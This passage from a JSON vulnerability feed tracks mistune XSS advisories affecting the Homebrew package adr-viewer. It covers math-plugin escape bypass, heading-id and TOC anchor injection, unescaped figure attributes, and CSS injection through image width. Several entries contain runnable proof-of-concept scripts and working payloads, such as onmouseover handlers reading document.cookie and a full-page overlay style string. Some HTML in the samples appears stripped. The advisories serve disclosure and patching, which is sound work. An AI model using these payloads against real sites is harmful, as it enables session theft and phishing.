punctuation)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8mp2-v27r-99xp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33079"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44708","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-8g87-j6q8-g93x","CVE-2026-44708","PYSEC-2026-2206"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune Math Plugin has an XSS Escape Bypass","details":"## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n # `text` is raw user input — no escape() call anywhere\n return r'\\(' + text + r\"\\)\"\n\ndef render_block_math(renderer, text):\n # same issue for block-level $$...$$\n return '

$$\\n' + text + \"\\n$$
\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 — Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — the script tag is correctly escaped:\n```html\n

<script>alert(document.cookie)</script>

\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 — Craft the exploit payload**\n\nWrap the identical `$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 — Observe the bypass**\n\nActual output — the script tag is emitted raw, unescaped:\n```html\n

\\(\\)

\n```\n\nThe `\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src = \"$$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n return f\"\"\"\n
\n
{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}
\n
\n
\n

Input — {h.escape(filename)}

\n 
{h.escape(src)}
\n
\n
\n

Output — HTML source

\n 
{h.escape(out)}
\n
↓ rendered in browser
\n
{out}
\n
\n
\n
\"\"\"\n\npage = f\"\"\"\nH1 — Math XSS\n

H1 — Math Plugin XSS (escape=True bypass)

\n

render_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.

\n{case(\"baseline\", \"Same HTML outside $...$ — escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\", \"Same HTML inside $...$ — escape=True bypassed\", ex_file, ex_src, ex_out)}\n\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session |\n| **Integrity** | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44708"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44896","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-58cw-g322-p94v","CVE-2026-44896","PYSEC-2026-168"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune has XSS via unescaped figclass/figwidth in Figure directive","details":"In `src/mistune/directives/image.py`, the `render_figure()` function concatenates `figclass` and `figwidth` options directly into HTML attributes without escaping (lines 152-168).\n\nThis allows attribute injection and XSS even when `HTMLRenderer(escape=True)` is used, because these values bypass the inline renderer.\n\nOther attributes in the same file (src, alt, style) are properly escaped; figclass/figwidth were missed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-58cw-g322-p94v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44896"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/a3cb6e5655308797e8be021d6c7b5bab13cbace2"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-168.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44897","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-v87v-83h2-53w7","CVE-2026-44897","PYSEC-2026-2207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune Heading ID Attribute has Injection XSS","details":"## Summary\n`HTMLRenderer.heading()` builds the opening `` tag by string-concatenating the `id` attribute value directly into the HTML — with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, …) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself — to produce human-readable slug anchors like `#installation` or `#getting-started` — is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -> str:\n tag = \"h\" + str(level)\n html = \"<\" + tag\n _id = attrs.get(\"id\")\n if _id:\n html += ' id=\"' + _id + '\"' # ← _id is never escaped\n return html + \">\" + text + \"\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `"` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned — no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 — Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe) # default: heading_id produces toc_1, toc_2, …\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput — ID is auto-generated, no user text appears in it:\n```html\n

Introduction

\n```\n\n**Step 2 — Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version — return the raw heading text unchanged — to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n return token.get(\"text\", \"\") # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 — Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 — Observe attribute breakout in the output**\n\n```python\nex_src = '## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n'\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n

foo" onmouseover="alert(document.cookie)" x="

\n```\n\nNote: the heading **body text** is correctly escaped (`"`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim — no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src = '## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n'\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n return f\"\"\"\n
\n
{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}
\n
\n
\n

Input — {h.escape(filename)}

\n 
{h.escape(src)}
\n
\n
\n

Output — HTML source

\n 
{h.escape(out)}
\n
↓ rendered in browser (hover the heading to trigger onmouseover)
\n
{out}
\n
\n
\n
\"\"\"\n\npage = f\"\"\"\nH2 — Heading ID XSS\n

H2 — Heading ID XSS (unescaped id= attribute)

\n

HTMLRenderer.heading() in renderers/html.py does html += ' id=\"' + _id + '\"' with no escaping.\nTriggered when heading_id callback returns raw heading text — the most common doc-generator pattern.

\n{case(\"baseline\", \"Clean heading → sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\", \"Malicious heading → quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity** | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune's `heading_id` callback without independently sanitising the returned value.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44897"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44898","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-6269-cqxg-mhhv","CVE-2026-44898","PYSEC-2026-2208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune TOC Anchor Injection XSS","details":"## Summary\n`render_toc_ul()` builds a `
    ` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\"`) and the `text` value (used as the visible link label) are inserted into `` tags via a plain Python format string — with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including ``:\n\n```python\n'{}'.format(k, text)\n# becomes:\n'...'\n```\n\nActual output:\n```html\n\n```\n\nThe `\n
    {'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}
    \n
    \n
    \n

    Input — {h.escape(filename)}

    \n 
    {h.escape(src)}
    \n
    \n
    \n

    TOC output — HTML source

    \n 
    {h.escape(out)}
    \n
    ↓ rendered in browser
    \n
    {out}
    \n
    \n
    \n\"\"\"\n\npage = f\"\"\"\nH4 — TOC XSS\n

    H4 — TOC render_toc_ul() XSS

    \n

    render_toc_ul() in toc.py uses '<a href=\"#{{}}\">{{}}</a>'.format(k, text) —\nneither k (the heading ID) nor text is escaped before insertion.

    \n{case(\"baseline\", \"Normal headings → sequential IDs → clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\", \"Malicious heading ID breaks out of href='#...' → script injected\", ex_file, ex_src, ex_out)}\n\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |\n| **Integrity** | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44898"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/04880a0"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-44899","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-ccfx-mfmx-2fx9","CVE-2026-44899","PYSEC-2026-2209"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.1","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune Image Directive CSS Injection Vulnerability","details":"## Summary\nThe Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows.\n\nWhen the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style=\"width:...;\"` or `style=\"height:...;\"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping.\n\nAn attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks.\n\n## Details\n**File:** `src/mistune/directives/image.py`\n\n```python\n_num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\") # no $ anchor — prefix match only\n\ndef _parse_attrs(options):\n height = options.get(\"height\")\n width = options.get(\"width\")\n if height and _num_re.match(height): # passes if value STARTS with a digit\n attrs[\"height\"] = height # full value stored, not just digits\n if width and _num_re.match(width): # same — prefix-only check\n attrs[\"width\"] = width\n```\n\nAnd in `render_block_image()`:\n\n```python\nif width:\n if width.isdigit():\n img += ' width=\"' + width + '\"' # safe: integer → HTML attribute\n else:\n style += \"width:\" + width + \";\" # UNSAFE: non-integer → raw style value\n```\n\nThe `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified.\n\n\n## PoC\n**Step 1 — Establish the baseline (safe plain-integer dimensions)**\n\nThe script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`:\n\n```python\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\nbl_src = (\n \"```{image} photo.jpg\\n\"\n \":width: 400\\n\"\n \":height: 300\\n\"\n \":alt: safe image\\n\"\n \"```\\n\"\n)\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — clean `width=` and `height=` HTML attributes, no `style=`:\n```html\n
    \"safe
    \n```\n\n**Step 2 — Understand why non-integer widths go into `style=`**\n\nWhen `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += \"width:\" + width + \";\"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through.\n\n**Step 3 — Craft the exploit payload**\n\nProvide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it:\n\n```\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n```\n\n- `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width\n- `;height:100vh` — overrides height to full viewport height\n- `;position:fixed` — lifts element out of document flow, fixed to the browser viewport\n- `;top:0;left:0` — anchors overlay to the top-left corner\n- `;z-index:9999` — places it above all other page content\n- `;background-color:#e11d48` — fills the overlay with vivid crimson\n- `;outline:8px solid #facc15` — adds a bright yellow border\n- `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity\n\nFull exploit markdown:\n```\n```{image} x.jpg\n:width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n:alt: ⚠ CSS INJECTED — click to dismiss ⚠\n```\n```\n\n**Step 4 — Observe the injected `style=` in the output**\n\n```python\nex_src = (\n \"```{image} x.jpg\\n\"\n \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n \"```\\n\"\n)\nex_out = str(md(ex_src))\n```\n\nActual output:\n```html\n
    \"⚠
    \n```\n\nEvery injected CSS property is present in the `style=` attribute. When a browser renders this HTML, the `` element:\n- expands to fill 100% of the viewport width and height\n- sits fixed at the top-left corner, scrolling with the viewport\n- is coloured crimson with a yellow outline\n- appears above all other page content\n\nThe result is a complete full-page phishing overlay generated from a single Markdown image directive.\n\n### Script \n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H6: Image directive CSS injection — width/height use prefix-only re.match().\n\nExploit combines: position:fixed + background-color + outline colour\n→ a full-viewport coloured overlay injected via a single :width: option.\n\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.directives import FencedDirective\nfrom mistune.directives.image import Image\n\nmd = create_markdown(escape=True, plugins=[FencedDirective([Image()])])\n\n# --- baseline ---\nbl_file = \"baseline_h6.md\"\nbl_src = (\n \"```{image} photo.jpg\\n\"\n \":width: 400\\n\"\n \":height: 300\\n\"\n \":alt: safe image\\n\"\n \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — clean width/height attributes, no style injection]\")\nprint(bl_out)\n\n# --- exploit ---\n# _num_re.match() is prefix-only (no $ anchor), so anything after the leading\n# digits is accepted and written verbatim into style=\"width:;\".\n# This single :width: value smuggles a full CSS attack chain:\n# position:fixed → overlay sits above the entire page\n# top/left/width/height → covers 100 % of the viewport\n# background-color:#e11d48 → vivid crimson fill\n# outline:8px solid #facc15 → bright yellow border\n# color:#fff → white alt-text label\n# z-index:9999 → on top of everything\nex_file = \"exploit_h6.md\"\nex_src = (\n \"```{image} x.jpg\\n\"\n \":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;\"\n \"background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\\n\"\n \":alt: ⚠ CSS INJECTED — click to dismiss ⚠\\n\"\n \"```\\n\"\n)\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — colour + background-colour + fixed overlay injected into style=]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.warn{background:#fffbeb;border:1px solid #fbbf24;border-radius:6px;padding:10px 16px;\n font-size:.85em;color:#92400e;margin:12px 0}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;\n box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;\n font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;\n background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}\n/* scope the live-render sandbox so position:fixed stays inside the box */\n.sandbox{position:relative;width:100%;height:100%}\n.sandbox 